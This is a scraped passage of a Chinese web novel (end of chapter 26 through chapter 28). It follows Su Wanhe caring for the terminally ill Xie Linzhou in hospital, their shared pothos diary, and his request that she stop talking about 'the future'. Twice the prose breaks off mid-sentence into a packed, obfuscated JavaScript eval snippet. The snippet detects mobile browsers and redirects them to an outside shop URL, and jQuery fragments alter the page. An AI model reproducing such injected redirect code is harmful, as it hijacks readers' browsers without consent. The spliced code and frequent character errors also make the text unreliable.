“快一点,师傅。”她催促司机。 司机看了眼后视镜,踩下油门。 到医院急诊室,医生护士立刻围了上来。苏晚禾被拦在外面,看着他们把谢临洲推进抢救室。 门关上,红灯亮起。 她在走廊的长椅上坐下,浑身发抖。脑子里一片空白,只有一个念头:不要有事,不要有事,不要有事...... 时间过得很慢。墙上的时钟滴答滴答,每一秒都像一年那么长。苏晚禾盯着抢救室的门,眼睛都不敢眨。 一个小时后后,门开了。医生走出来:“你是家属?” “朋友。”苏晚禾站起来,“他怎么样了?” “暂时稳定了。”医生说,“是癌痛引起的急性发作,加上体力透支。已经用了止痛药和镇静剂,现在睡着了。” “我能看他吗?” “可以,但别吵醒他。” 苏晚禾走进病房。谢临洲躺在病床上,脸色苍白得像纸,手背上扎着点滴。他睡得很沉,眉头还是微微皱着。 她在床边坐下,看着他。窗外的阳光照镜来,照在她脸上,能看见细细的汗毛。 她想伸手摸摸他的脸,但没敢。 只是静静地坐着,听着他的呼吸声。 平稳,但和微弱。 想风中摇曳的烛火,随时可能熄灭。 她突然想起那些修缮灯塔的日子。他们一起补窗户,一起刷漆,一起清理垃圾。那时候谢临洲虽然也累,但眼睛里是有光的。 而现在...... 她地下头,眼泪掉在膝盖上。 无声无息。 窗外的天色渐渐暗下里。护士进来换药,看见她还坐在那里,轻声说:“你先回去吧,他一时半会醒不了。” “我再坐会。”苏晚禾说。 护士没再劝,换了药就出去了。 房间里又只剩下他们两个人。苏晚禾看着谢临洲,想起他说:“谢谢你做这些,为了我。” 她想说,不用谢。 因为她做这些,不仅是为了他。 也是为了自己。 为了能有一个地方,可以和他一起看星星,一起弹琴,一起......度过剩下的时光。 但现在这个机会搁浅了。 像一艘船,还没起航,就触了礁。 她轻轻握住谢临洲的手。他的手很凉,她用力握着,想把自己的温度传过去。 “快点好起来。”她轻声说,“我们还有修灯塔呢。” 谢临洲在睡梦中微微动了动手指。 像是在回应。 又像只是无意识的动作。 苏晚禾不知道。 她只知道,她会等。 等她醒来,等他能下床,等他能在去灯塔。 等他们能把没做完的事做完。 窗外,夜色渐深。 远处的灯塔亮了起来。 光柱扫过海面,扫过小镇,扫过医院的窗户。 一下,又一下。 规律,坚定,永不停止。 27. 第 27 章 第二十七章:医院窗台的绿萝观察日记 谢临洲在抢救室醒来的那个清晨,看见的第一样东西是窗台上的绿萝。 小小的一盆,栽在一个白色的塑料花盆里,叶子鲜绿鲜绿的,在晨光中泛着健康的光泽。有几片新叶刚刚舒展开来,嫩得能看见细细的脉络。 他盯着绿萝看了很久,久到护士进来查房,发现他醒了。 “你醒了?”护士快步走过来,“感觉怎么样?” “还好。”谢临洲的声音沙哑,“我朋友......” “她守了你一夜,早上被我们劝回去休息了。”护士量了他的血压和体温,“等会就回来了。” 护士离开后,谢临洲继续看着那盆绿萝。阳光从窗外照进来,照在叶片上,在病房的白色墙壁上投出晃动的光影。 门轻轻开了。苏晚禾提着保温盒走进来,看见他醒了,眼睛一亮:“你醒了!” “嗯。”谢临洲是,“绿萝是你带来的?” “对。”苏晚禾把保温盒放在床头柜上,“从灯塔拿来的。我想着,病房里有点绿色,心情会好些。” 她打开保温盒,里面是清粥和小菜:“饿了吗?” “有点。” 苏晚禾扶他坐起来,在他背后垫上枕头,然后一勺一勺地喂他喝粥。粥熬得很烂,几乎不用嚼就能咽下去。 “张阿姨熬的。”她说,“她说你现在只能吃流食。” 谢临洲熳熳喝着。每喝几口就停一下,喘口气。一碗粥喝了二十分钟。 喝完粥,苏晚禾给她擦了擦嘴,然后从包里拿出一个小本子:“看这个。” 那是她前几天在文具店买的素描本,封面上印着一片绿叶。她翻开第一夜,上面写着: “绿萝观察日记,献给谢临洲。” 下面是一行小字:“希望它能陪你度过在医院的日子。” 谢临洲接过本子,一页一页翻开。苏晚禾的字迹不算好看,但写得很认真: “第一天:绿萝搬到病房。它好像有点不适应新环境,叶子耷拉着。但没关系,我每天都会给你浇水,陪它说话。” 配了一副简笔画:一盆绿萝,耷拉着叶子。 “第二天:绿萝精神点了。有一片新叶子冒出来了,嫩绿嫩绿的。今天阳光很好,我把它搬到窗台晒太阳。谢临洲还在睡,但我跟他说了话,告诉他绿萝的情况。我觉得他听见了。” 配图:绿萝在阳光下,一片新叶。 “第三天:绿萝又长了一片新叶。原来的叶子也更绿了。护士说它长得很好,比比病房里其他植物都精神。谢临洲今天手指动了一下,医生说这是个好兆头。” 配图:两片新叶。 谢临洲翻到最新一页。那是今天早上写的: “第四天:谢临洲醒了。绿萝好像知道似的,今天特别精神。我把它搬到离床最近的地方,这样以后他一睁眼就能看见。希望绿萝能带给他好心情。” 配图:绿萝在床头柜上,叶子舒展。 谢临洲合上本子,看向窗台。那盆绿萝确实很精神,叶子饱满,新叶嫩绿,在晨光中微微晃动。 “谢谢。”他说。 “不客气。”苏晚禾笑了,“从现在开始,你也要写。” “写什么?” “写绿萝的观察日记啊。”苏晚禾说,“我写前四天,你写后面的。我们轮流,直到他出院。” 她从包里有拿出一支笔,递给谢临洲:“就从今天开始。” 谢临洲接过笔,翻开新的一页。他想了想,写到: “第四天(下午):我醒了。绿萝在窗台上,阳光很好。苏晚禾说我睡了四天,但我感觉只睡了一会。绿萝确实很精神,像在欢迎我醒来。” 他画了简笔画:病床上的自己,看着窗台的绿萝。 “这样行吗?”他问。 “行。”苏晚禾点头,“以后每天都要写。” 从那天起,绿萝观察日记成了谢临洲住院生活的一部分。每天早上,苏晚禾来的时候,会把本子递给他。他会花十几分钟,写下前一天绿萝的变化: “第五天:绿萝又长了一片新叶。旧的叶子颜色更深了,说健康的深绿色。苏晚禾说绿萝好养,只要浇水和阳光就能活。我想,我也该像它一样。” “第六天:今天阴天,绿萝有点没精神。苏晚禾把它搬到窗台最亮的地方,说等太阳出来就好了。下午果然出了太阳,绿萝的叶子有舒展开了。” “第七天:护士说绿萝长得太快了,该换盆了。苏晚禾买了个大一点的盆,我们一起给它换了土。换盆的时候发现,它的根已经长满了旧盆。原来它在看不见的地方,一直在努力生长。” 谢临洲的身体恢复得很慢。止痛药让他大部分时间都昏昏沉沉的,但每天写日记的那十几分钟,是他最清醒的时候。 有时候他写得简单,就一两句话。有时候状态好,会多写几句。 “第八天:今天疼得厉害,但看着绿萝,好像能分散注意力。苏晚禾说,疼的时候就看看绿萝,想想它在努力生长。我试了,好像有点用。” “第九天:绿萝的藤蔓开始往下垂了。苏晚禾说等再长一点,可以把它挂起来,让藤蔓垂下来,像绿色的瀑布。我想象那个画面,应该很美。” “第十天:又一片新叶。绿萝好像不知道累,一直在长。苏晚禾今天跟我讲她训练的事,说她以前训练累了,就看看泳池边上的绿植,想着植物也在努力生长,她也要努力。我觉得她和绿萝有点像。” 日记本渐渐厚起来。除了文字,还有两人画的简笔画:谢临洲画绿萝,苏晚禾画窗外的飞鸟,偶尔还有她自己画的鬼脸表情包。 绿萝也确实在生长。从最初的小小一盆,长出了长长的藤蔓。苏晚禾找护士要了根绳子,把花盆挂在窗边。藤蔓垂下来,随风轻轻摆动,真的像绿色的瀑布。 “它长得真好。”一天下午,谢临洲看着绿萝是。 “你也是。”苏晚禾正在削苹果,“你也在好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16948384|192799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起来。” 谢临洲没说话。他知道自己在好转,但离“好起来”还差很远。疼痛仍然时时造访,体力依然虚弱,每一次呼吸都像在提醒他,这具身体已经千疮百孔。 但他没说这些。他只是看着绿萝,看着它在阳光下舒展的叶子,看着它不断冒出的新芽。 “苏晚禾。”他突然说。 “嗯?” “等我出院了,这盆绿萝能带回灯塔吗?” 苏晚禾削苹果的手停住了。她抬起头,看着写临洲:“你想把它带到灯塔?” “嗯。”谢临走是,“放在塔顶,和我们一起看星星。” 苏晚禾的眼睛亮了起来:“好主意!那我们得买个大点的花盆,塔顶风大,小盆容易到。” “还有做个架子,把它固定住。” “对!我想想......可以用旧木板做,刷成白色,和灯塔的墙一个颜色。” 他们你一言我一语地讨论起来,像在计划什么重要的大事。谢临洲的眼睛里有光,苏晚禾的声音里有笑。病房里沉闷的空气好像被搅动了,变得鲜活起来。 讨论到一半,护士进来送药。看见他们兴奋的样子,好奇地问:“聊什么呢这么开心?” “我们在计划怎么装饰灯塔。”苏晚禾说。 护士笑了:“真好。有计划就有盼头。” 是啊,有计划就有盼头。苏晚禾想。 哪怕这个计划很小,哪怕它可能永远实现不了。 但有盼头,日子就不难熬。 那天晚上,苏晚禾离开医院前,在日记本上新写了一页。不是关于绿萝,而是关于谢临洲: “第十一天:今天谢临洲说了很多话。他计划把绿萝带到灯塔,计划做架子,计划怎么装饰。他说话的时候眼睛很亮,像以前在灯塔看星星的时候。我想,也许绿萝真的能带来好运。也许他真的能好起来。” 她合上本子,放在谢临洲的床头。 窗外的夜色很深,但病房的灯很暖。 绿萝在窗边轻轻摆动,藤蔓垂下来,像在守护着什么。 第二天早上,谢临洲醒来时,看见那页日记。他拿起笔,在下面写: “绿萝在长,我也在努力。虽然慢,但没停。这就够了。” 他放下笔,看向窗台。 阳光正好,绿萝的叶子上挂着细小的水珠,闪闪发光。 像希望。 很小,但很亮。 他闭上眼睛,深深地吸了一口气。 空气中是消毒水的味道,药的味道,还有......绿萝的清香。 淡淡的,但很清晰。 像在说:我在长,你也要加油。 他轻轻点了点头。 像是在回应。 又像是承诺。 窗外,新的一天开始了。 绿萝在阳光下舒展。 而他们,在希望中前行。 一步,又一不。 很慢,但很坚定。 28. 第 28 章 第二十八章:关于“以后”的禁止话题 绿萝在窗台上抽出了第五根新藤的时候,谢临洲终于能下床走动了。 虽然只是从床边走到窗前,短短三步路,但他走得稳当,没喘,也没冒冷汗。苏晚扶着他,像扶着一件易碎的瓷器,小心翼翼。 “你看,绿萝又长了。”她指着窗台。 新的藤蔓嫩绿嫩绿的,从花盆边缘垂下来,末端卷曲着,像在试探空气。谢临洲伸手轻轻碰了碰那片卷曲的叶子,叶子颤动了一下,仿佛在回应。 “它长得真快。”他说。 “你也一样。”苏晚禾笑了,“医生说下周就能出院了。” 谢临洲没接话。他看向窗外,医院的院子里那颗老槐树已经冒出了新芽,嫩黄嫩黄的,在春风里微微摇晃。 春天真的来了。 回到窗扇,苏晚禾给他倒水,拿药。药片五颜六色,摊在手心里像一把糖,但谁都知道不是糖。谢临洲一粒一粒吞下去。 “出院后想做什么?”苏晚禾问,“我们继续修灯塔?” 谢临洲沉默了一会:“灯塔......先放放吧。” “为什么?” “累了。”他简单地说。 苏晚禾看着他苍白的侧脸,突然意识到他说的“累了”可能不是身体上的。那种累,说心里有块石头,一直压着,压得人喘不过气。 “那我们去海边走走?”她换了个提议,“就散步,不走远。” “好。” 接下来几天,苏晚禾总是有意无意地提到“以后”。 “等夏天来了,我们去夜市把剩下的愿望清单完成。还差三个小吃没尝过呢。” “等绿萝再长大点,我们真把它带到灯塔去。我想好了,可以做个吊篮,挂在窗边。” “等你再好一点,我们在打场球。这次我一定赢你。” 每次她说这些,谢临洲都只是点头,或者“嗯”一声,很少接话。苏晚禾起初没在意,以为他只是没精神。 直到那天下午。 那天阳光特别好,苏晚禾推开窗户,春风带着青草和泥土的气息涌进来。她深吸一口气,回头对谢临洲说:“等出院了,我想试着游一次泳。就五十米,慢慢游,应该可以。” 谢临洲靠在床头,闭着眼睛,像是睡着了。 “你听见了吗?”苏晚禾又问了一遍。 “听见了。” “那你觉得我能游吗?” 谢临洲睁开眼睛,看着她。他的眼神很平静,平静得让苏晚禾心里发慌。 “苏晚禾。”他叫她的名字。 “嗯?” “别说了。” “说什么?” “说‘以后’。”谢临洲的声音很轻,但每个字都清清楚楚,“别说等出院了怎样,等夏天了怎样,等我好一点了怎样。” 苏晚禾愣住了。她张了张嘴,想说什么,但谢临洲打断了她。 “我没以后了。”他说。 这句话像一块冰,砸在春天的阳光里,砸得苏晚禾浑身发冷。 “你怎么能这么说......”她的声音在发抖。 “我说的是事实。”谢临洲的语气依然平静,“我的病情在恶化,你也知道。每次好转都是暂时的,很快就会变得更差。我没有夏天,没有‘再好一点’,没有......” 他顿了顿,声音低了下去:“没有‘以后’。” 苏晚禾站在那里,手脚冰凉。窗外的春风还在吹,吹得绿萝的叶子轻轻晃动,吹得老槐树的新芽簌簌作响。一切都是生机勃勃的样子,只有谢临洲的话,像冬天的余烬,冷得刺骨。 “你......你不想好起来吗?”她听见自己问,声音很陌生。 “我想。”谢临洲说,“但想和能,是两回事。” 他转过头,看向窗外:“这一年多,我试过所有能试的治疗。化疗,靶向药,免疫治疗......每次都以为这次会有效,每次都在短暂的好转后迎来更严重的恶化。我已经......累了。” 苏晚禾走到床边,蹲下身,仰头看着他:“可是你说过,要陪我去夜市,要带绿萝去灯塔,要看我游泳......” “那是愿望。”谢临洲低头看她,“愿望和承诺不一样。愿望是美好的想象,承诺是要兑现的。我兑现不了,所以不能说。” 他说眼睛很清澈,像秋天的湖水,平静,但深不见底。 “那你现在告诉我,”苏晚禾的声音哏咽了,“我该怎么办?我还能说什么?” “说现在。”谢临洲伸手,轻轻擦掉她脸上的泪,“说今天的阳光很好,说绿萝又长了新叶,说你今天给我带了什么好吃的。说这些就够了。” 苏晚禾抓住他的手。他的手很凉,骨头硌得她手疼。 “可是我想跟你有以后。”她哭着说,“哪怕只是想象,我也想要。” “想象可以。”谢临洲说,“但别当成真的。别让我......觉得我欠你一个未来。” 这话像一把刀,捅进苏晚禾心里。她突然明白了谢临洲在怕什么,他怕他期待,怕她等待,怕她因为她无法实现的承诺而失望。 他怕她走了,留下她一个人,守着那些永远无法实现的“以后”。 “我不在乎。”苏晚禾用力摇头,“就算实现不了,我也想要那些想象。和你一起想象,一起计划,哪怕只是说说......我也想要。” 谢临洲看着她,很久没说话。窗外的阳光移到了床边,照在他苍白的脸上,照得他几乎透明。 “好。”他终于说,“那我们就说说。但你要答应我一件事。” “什么事?” “如果有一天,那些‘以后’真的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16952489|192799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实现不了了,你不能难过太久。”谢临洲说,“你要继续过你的生活,继续游泳,继续笑,继续......有新的‘以后’。” 苏晚禾的眼泪又涌了出来。她用力点头,却说不出话。 “能做到吗?”谢临洲问。 “能。”她哑着声音说,“我能。” “那拉钩。” 他们像小孩子一样拉钩。手指勾在一起,谢临洲的手指冰凉,苏晚禾的手指温暖。这短暂的触碰,像是一个契约,一个关于接受和放手的契约。 从那以后,“以后”成了他们之间的一个微妙话题。苏晚禾还是会说,但会加上“也许”“可能”“如果”。谢临洲也渐渐回应,但会加上“希望”“但愿”“尽量”。 “如果夏天我肩膀完全好了,也许我们可能去海边游泳。”苏晚禾说。 “但愿那时候我还游得动。”谢临洲回应。 “等你出院了,我们尽量再去一次灯塔。” “希望那时候我还有力气爬楼梯。” 他们像是在玩一个游戏,用不确定的词语搭建一个脆弱的未来。那个未来摇摇欲坠,像肥皂泡,美丽但易碎。 但至少,他们还有想象的权利。 绿萝观察日记还在继续。谢临洲出院前一天,在日记本上写了最后一句: “第二十天:我要出院了。绿萝长出了第七根藤蔓,叶子深绿,新叶嫩绿。它会被带回灯塔,和我们一起看星星。这是我能确定的‘以后’,虽然很小,但很真实。” 他画了一副画:灯塔的窗户,里面有一盆绿萝,窗外是星空。 苏晚禾在旁边加了一句:“这也是我能确定的‘以后’:我会一直陪着绿萝,也陪着你。直到最后。” 写完这句话,她抬头看谢临洲。谢临洲也看着她,眼睛里有什么东西在闪动。 “谢谢。”他说。 “不客气。”苏晚禾合上日记本,“我们说好的,不说谢。” “好,不说。” 出院那天,阳光灿烂。苏晚禾抱着绿萝,谢临洲拧着小小的行李包,慢慢走出医院。春风佛面,带着海的味道。 “回家?”苏晚禾问。 “嗯,回家。” 他们并肩走在春天的街道上。路边的树都绿了,花也开了。一切都欣欣向荣,充满希望。 苏晚禾看了眼手里的绿萝,又看了眼身边的谢临洲。 绿萝在生长。 谢临洲在呼吸。 而她,在陪着。 这就够了。 至于“以后”...... 以后的事,以后再说。 现在,他们还有春天。 还有彼此。 还有这盆倔强生长的绿萝。 阳光照在身上,暖暖的。 像希望。 很小,但很真实。